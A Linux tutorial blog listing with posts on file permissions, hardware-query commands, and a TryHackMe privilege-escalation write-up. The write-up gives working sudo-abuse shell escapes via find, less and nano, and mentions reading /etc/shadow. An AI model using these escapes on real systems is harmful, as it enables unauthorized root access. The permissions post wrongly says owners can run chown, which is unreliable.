Showing posts with label LinuxFundamentals. Show all posts
Showing posts with label LinuxFundamentals. Show all posts

Sunday, August 11, 2024

File Permissions in Linux

 

File Permissions in Linux

1. chmod (Change Mode)

The chmod command allows you to modify file permissions. These permissions control read, write, and execute access for the owner, group, and others. Here are two ways to use chmod:

  • Symbolic Mode:

    • Syntax: chmod [ugoa] [[+-=] [mode]] file
    • Example: To add write permission for the user, group, and others to a file named file1, use:
      chmod ugo+w file1
      
  • Numeric Mode:

    • The mode is a combination of three digits:
      • First digit: User permissions
      • Second digit: Group permissions
      • Third digit: Others’ permissions
    • Example: To give read/write/execute permission to the user, read/execute permission to the group, and execute permission to others, use:
      chmod 751 file1
      

2. chown (Change Ownership)

The chown command changes the ownership of a file. Only the current owner can change ownership. Syntax:

chown [owner] [file]

Example: To change the owner of file1 to user2, assuming it’s currently owned by the current user:

chown user2 file1

3. chgrp (Change Group Ownership)

The chgrp command changes the group ownership of a file. Like chown, only the owner can perform this action. Syntax:

chgrp [group] [file]

Example: To change the group of file1 to group2, assuming it’s currently owned by the current user:

chgrp group2 file1
Understanding these commands will empower you to manage permissions effectively. Happy learning!

Friday, November 4, 2022

Linux system and Hardware details via command line

Uname command

Basic information can be access with command uname. Which is short for unix name.
  1. Linux Kernel Name
  2. uname -s
  3. Linux Kernel Release
  4. uname -r
  5. Linux Kernel Version
  6. uname -v
  7. Network Node Hostname
  8. uname -n
  9. Machine Hardware Architecture
  10. uname --m
  11. Processor Type
  12. uname -p
  13. Hardware Platform
  14. uname -i
  15. Operating System information
  16. uname -o
  17. Displaying All Information of Uname Command
  18. uname -a

CPU Information with lscpu command:

lscpu

Block Device Information with lsblk

lsblk
More detailed information for all devices:
lsblk -a

USB Device Info with lsusb

lsusb
More detailed information on each device:
lsusb -v

Saturday, February 19, 2022

TryHackMe - Linux PrivEsc - Task 6 - Privilege Escalation : Sudo

This is probably one of the easiest type of PrivEsc tasks.
With command :

sudo -l

We check what services we can run as root. adn with this info we can answer Q1
From output of the command we see 3 services/programs that we can run as root. Now that we have this information we can head over to the GTFObins To check for each service/program that we can gain root access to system.
  • Find
  • sudo find . -exec /bin/sh \; -quit

  • Less
  • sudo less /etc/profile
    !/bin/sh

  • nano
  • sudo nano
    ^R^X
    reset; sh 1>&0 2>&0


Note about getting root via nano one command at the time ^R - is CTRL + R and ^X CTRL + X
To answer Q2 we run:

find / -type f -name flag2.txt 2>/dev/null

that we find path to the flag2.txt file
To answer Q3 we neet to check GTFObins to get command.
To answer Q4 we open /etc/shadow to find answer. I hope this post is helpfull for anyone stuck at solving this task.

TryHackMe - Shadow Trace Writeup

 Shadow Trace is premium room on TryHackMe.com part of the SOC Level 1 Path. We need to analyse a suspicious file, uncover hidden clues, an...